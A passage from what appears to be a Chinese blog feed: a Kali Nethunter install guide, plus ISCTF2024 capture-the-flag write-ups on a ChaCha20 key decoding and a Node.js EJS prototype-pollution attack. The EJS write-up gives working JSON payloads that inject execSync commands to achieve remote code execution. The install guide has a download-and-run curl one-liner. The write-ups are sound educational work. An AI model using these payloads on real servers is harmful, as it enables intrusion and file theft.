<p>本脚本和教程全部基于非 Root 设备撰写，初衷是为了让未 Root 的设备也能用上 Kali Nethunter.经过我们测试发现，该脚本仍然适用于 Root 用户。在 Root 状态下，你可以拥有一个近乎完美的体验。但是在默认状态下使用 Termux，仍然为非 Root 状态，在这种状态下，即使你的设备已经 Root，也无法使用 Root 后的功能。如果想要在 Root 状态下体验完整功能，请在 Root 状态下执行完整操作（从安装到使用都要在 Root 状态下执行）。详见<a href="/docs/kali_for_android.html#root" target="_blank">使用Root权限运行</a>。</p>
</div>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">termux-setup-storage <span class="token operator">&amp;&amp;</span> <span class="token function">curl</span> <span class="token parameter variable">-O</span> <span class="token parameter variable">--url</span> https://res.hestudio.net/kali_for_android/install.sh <span class="token operator">&amp;&amp;</span> <span class="token function">chmod</span> +x install.sh <span class="token operator">&amp;&amp;</span> ./install.sh</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>根据脚本操作即可。如果遇到以下情况，请直接点击回车：</p>
<figure><img src="https://img.hestudio.net/2024/12/12/675ac4882883b.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>按照提示跟着教程完成安装即可。</p>
<figure><img src="https://img.hestudio.net/2024/12/12/675ac59c841d4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="Android"/>
    <published>2024-12-13T05:46:32.000Z</published>
  </entry>
  <entry>
    <title type="text">base92 | ISCTF2024 | Crypto ChaCha20-Poly1305</title>
    <id>https://www.hestudio.net/posts/ChaCha20-Poly1305-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ChaCha20-Poly1305-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> ChaCha20_Poly1305</span>
<span class="line"><span class="token keyword">import</span> os</span>
<span class="line"></span>
<span class="line">key <span class="token operator">=</span> os<span class="token punctuation">.</span>urandom<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">)</span></span>
<span class="line">nonce <span class="token operator">=</span> os<span class="token punctuation">.</span>urandom<span class="token punctuation">(</span><span class="token number">12</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'flag.txt'</span><span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></span>
<span class="line">    plaintext <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">cipher <span class="token operator">=</span> ChaCha20_Poly1305<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token operator">=</span>key<span class="token punctuation">,</span> nonce<span class="token operator">=</span>nonce<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">ct<span class="token punctuation">,</span> tag <span class="token operator">=</span> cipher<span class="token punctuation">.</span>encrypt_and_digest<span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Encrypted Flag: </span><span class="token interpolation"><span class="token punctuation">{</span>ct<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Tag: </span><span class="token interpolation"><span class="token punctuation">{</span>tag<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Nonce: </span><span class="token interpolation"><span class="token punctuation">{</span>nonce<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'key.txt'</span><span class="token punctuation">,</span> <span class="token string">'w'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> key_file<span class="token punctuation">:</span></span>
<span class="line">    key_file<span class="token punctuation">.</span>write<span class="token punctuation">(</span>key<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> ChaCha20_Poly1305</span>
<span class="line"><span class="token keyword">import</span> os</span>
<span class="line"></span>
<span class="line">key <span class="token operator">=</span> os<span class="token punctuation">.</span>urandom<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">)</span></span>
<span class="line">nonce <span class="token operator">=</span> os<span class="token punctuation">.</span>urandom<span class="token punctuation">(</span><span class="token number">12</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'flag.txt'</span><span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></span>
<span class="line">    plaintext <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">cipher <span class="token operator">=</span> ChaCha20_Poly1305<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token operator">=</span>key<span class="token punctuation">,</span> nonce<span class="token operator">=</span>nonce<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">ct<span class="token punctuation">,</span> tag <span class="token operator">=</span> cipher<span class="token punctuation">.</span>encrypt_and_digest<span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Encrypted Flag: </span><span class="token interpolation"><span class="token punctuation">{</span>ct<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Tag: </span><span class="token interpolation"><span class="token punctuation">{</span>tag<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Nonce: </span><span class="token interpolation"><span class="token punctuation">{</span>nonce<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'key.txt'</span><span class="token punctuation">,</span> <span class="token string">'w'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> key_file<span class="token punctuation">:</span></span>
<span class="line">    key_file<span class="token punctuation">.</span>write<span class="token punctuation">(</span>key<span class="token punctuation">.</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">Encrypted Flag: 20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb</span>
<span class="line">Tag: 70ffcc508bf4519e7616f602123c307b</span>
<span class="line">Nonce: d8ebeedec812a6d71240cc50</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">3=t#sMX3?9GHSPdi4i^gk!3*(cH8S8XT2y&amp;?Tv4!?AGG=R]ZDy/PVVa+DqiXAH*}DS&amp;Nn*a+@&lt;H,=!L</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>题目描述：你的意思是说，只要我继续打 ctf，下次做 crypto 时，就会有一个长腿黑丝双马尾的甜妹突然坐到我的腿上，并害羞的红着脸对我说，前辈你 crypto 打的真厉害，所以要不要和我交往！</p>
<h3>分析</h3>
<p>查看文件附件提供的可以并不是真正的<code>key</code>，真正的<code>key</code>是 32 位 HEX 值。尝试对 key 进行解密，尝试各种解密方案，最后可以通过 base92 对<code>key</code>进行解密。</p>
<blockquote>
<p>另注：这题跟 ChaCha20-Poly1305 一点关系都没有，提交给官方的 Write UP 没说这句。</p>
</blockquote>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>获取到<code>key</code>后，可以编写 payload 解密。</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> ChaCha20_Poly1305</span>
<span class="line"><span class="token keyword">from</span> binascii <span class="token keyword">import</span> unhexlify</span>
<span class="line"></span>
<span class="line"><span class="token comment"># 已知的加密参数(替换为实际值)</span></span>
<span class="line">key_hex <span class="token operator">=</span> <span class="token string">"173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135"</span></span>
<span class="line">nonce_hex <span class="token operator">=</span> <span class="token string">"d8ebeedec812a6d71240cc50"</span></span>
<span class="line">ciphertext_hex <span class="token operator">=</span> <span class="token string">"20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"</span></span>
<span class="line">tag_hex <span class="token operator">=</span> <span class="token string">"70ffcc508bf4519e7616f602123c307b"</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 转换十六进制为字节</span></span>
<span class="line">key <span class="token operator">=</span> unhexlify<span class="token punctuation">(</span>key_hex<span class="token punctuation">)</span></span>
<span class="line">nonce <span class="token operator">=</span> unhexlify<span class="token punctuation">(</span>nonce_hex<span class="token punctuation">)</span></span>
<span class="line">ciphertext <span class="token operator">=</span> unhexlify<span class="token punctuation">(</span>ciphertext_hex<span class="token punctuation">)</span></span>
<span class="line">tag <span class="token operator">=</span> unhexlify<span class="token punctuation">(</span>tag_hex<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 创建解密器</span></span>
<span class="line">cipher <span class="token operator">=</span> ChaCha20_Poly1305<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token operator">=</span>key<span class="token punctuation">,</span> nonce<span class="token operator">=</span>nonce<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">try</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token comment"># 解密并验证</span></span>
<span class="line">    plaintext <span class="token operator">=</span> cipher<span class="token punctuation">.</span>decrypt_and_verify<span class="token punctuation">(</span>ciphertext<span class="token punctuation">,</span> tag<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"解密后的明文: </span><span class="token interpolation"><span class="token punctuation">{</span>plaintext<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">except</span> ValueError <span class="token keyword">as</span> e<span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"解密失败: </span><span class="token interpolation"><span class="token punctuation">{</span><span class="token builtin">str</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>其实用在线工具也能解出来。</p>
</blockquote>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">nodejs_ejs模板_原型链污染 | ISCTF2024 | Web ezejs</title>
    <id>https://www.hestudio.net/posts/ezejs-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ezejs-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>打开代码附件，映入眼帘的就是标记好的<code>backdoor</code></p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line"><span class="token comment">// backdoor</span></span>
<span class="line">app<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"/UserList"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=&gt;</span> <span class="token punctuation">{</span></span>
<span class="line">  user <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">const</span> blacklist <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"\\u"</span><span class="token punctuation">,</span> <span class="token string">"outputFunctionName"</span><span class="token punctuation">,</span> <span class="token string">"localsName"</span><span class="token punctuation">,</span> <span class="token string">"escape"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">const</span> hacker <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> pattern <span class="token keyword">of</span> blacklist<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span>hacker<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>pattern<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">      res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">message</span><span class="token operator">:</span> <span class="token string">"hacker!"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      <span class="token keyword">return</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token function">copy</span><span class="token punctuation">(</span>users<span class="token punctuation">,</span> user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>打开代码附件，映入眼帘的就是标记好的<code>backdoor</code></p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line"><span class="token comment">// backdoor</span></span>
<span class="line">app<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"/UserList"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=&gt;</span> <span class="token punctuation">{</span></span>
<span class="line">  user <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">const</span> blacklist <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"\\u"</span><span class="token punctuation">,</span> <span class="token string">"outputFunctionName"</span><span class="token punctuation">,</span> <span class="token string">"localsName"</span><span class="token punctuation">,</span> <span class="token string">"escape"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">const</span> hacker <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> pattern <span class="token keyword">of</span> blacklist<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span>hacker<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>pattern<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">      res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">message</span><span class="token operator">:</span> <span class="token string">"hacker!"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      <span class="token keyword">return</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token function">copy</span><span class="token punctuation">(</span>users<span class="token punctuation">,</span> user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>黑名单检查后会执行<code>copy</code>函数，我们再看一下<code>copy</code>函数。</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line"><span class="token keyword">function</span> <span class="token function">copy</span><span class="token punctuation">(</span><span class="token parameter">object1<span class="token punctuation">,</span> object2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> object2<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span>key <span class="token keyword">in</span> object2 <span class="token operator">&amp;&amp;</span> key <span class="token keyword">in</span> object1<span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">      <span class="token function">copy</span><span class="token punctuation">(</span>object1<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">,</span> object2<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">      object1<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> object2<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p><code>copy</code>会将所有传入的内容全部传给<code>users</code>这个对象。</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line"><span class="token keyword">const</span> blacklist <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"\\u"</span><span class="token punctuation">,</span> <span class="token string">"outputFunctionName"</span><span class="token punctuation">,</span> <span class="token string">"localsName"</span><span class="token punctuation">,</span> <span class="token string">"escape"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>由于<code>blacklist</code>禁用掉了很多函数（甚至也禁用掉了 Unicode 标准符号），我们需要另寻他法执行 RCE.同时，感谢黑名单提醒我该如何完成这道题（没有黑名单我根本不知道 RCE 这个思路）</p>
<blockquote>
<p>以下部分思路来自<a href="https://xz.aliyun.com/t/13544?time__1311=GqmxuDciD%3DitdGNDQiiQGkQa54xjEh0w0bD" target="_blank" rel="noopener noreferrer">从西湖 Easyjs 讨论 nodejs 引擎 RCE - 先知社区</a></p>
</blockquote>
<p>我们尝试在<code>render</code>处打断点，当<code>GET localhost/</code>后一步一步查看。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fdaba903d.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我们可以尝试使用<code>outputFunctionName</code>并列的<code>destructuredLocals</code>实现远程执行命令。<code>opts.destructuredLocals[i]</code>使用的是数组，所以我们要使用数组的方式传入。根据代码结构，我们准备如下示例字符串。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>完整的数据就是：</p>
<div class="language-json line-numbers-mode" data-highlighter="prismjs" data-ext="json"><pre><code class="language-json"><span class="line"><span class="token punctuation">{</span></span>
<span class="line">  <span class="token property">"__proto__"</span><span class="token operator">:</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token property">"destructuredLocals"</span><span class="token operator">:</span> <span class="token punctuation">[</span></span>
<span class="line">      <span class="token string">"a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"</span></span>
<span class="line">    <span class="token punctuation">]</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>我们将上述字符串发给<code>/UserList</code>，然后请求<code>/</code>，可以顺利打开计算器。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fdbd78256.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>现在，我们只要据此修改 Payload，使用替换命令将<code>/flag</code>复制替换掉模板的<code>index.ejs</code>即可。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="language-json line-numbers-mode" data-highlighter="prismjs" data-ext="json"><pre><code class="language-json"><span class="line"><span class="token punctuation">{</span></span>
<span class="line">  <span class="token property">"__proto__"</span><span class="token operator">:</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token property">"destructuredLocals"</span><span class="token operator">:</span> <span class="token punctuation">[</span></span>
<span class="line">      <span class="token string">"a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2"</span></span>
<span class="line">    <span class="token punctuation">]</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>将以上 JSON 发给<code>/UserList</code>，然后请求两次<code>/</code>（一遍是为了让命令运行生效，一遍是为了获取 flag），可以顺利获得 flag.</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">nodejs反序列化漏洞_CVE-2017-5941利用 | ISCTF2024 | Web ezlogin</title>
    <id>https://www.hestudio.net/posts/ezlogin-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ezlogin-isctf2024.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<p>打开题目环境后会提示</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fe13f1dad.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>根据题目源码，我们可以找到路径。</p>
<div class="language-javascript line-numbers-mode" data-highlighter="prismjs" data-ext="js"><pre><code class="language-javascript"><span class="line">app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">"login"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>打开题目环境后会提示</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fe13f1dad.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>根据题目源码，我们可以找到路径。</p>
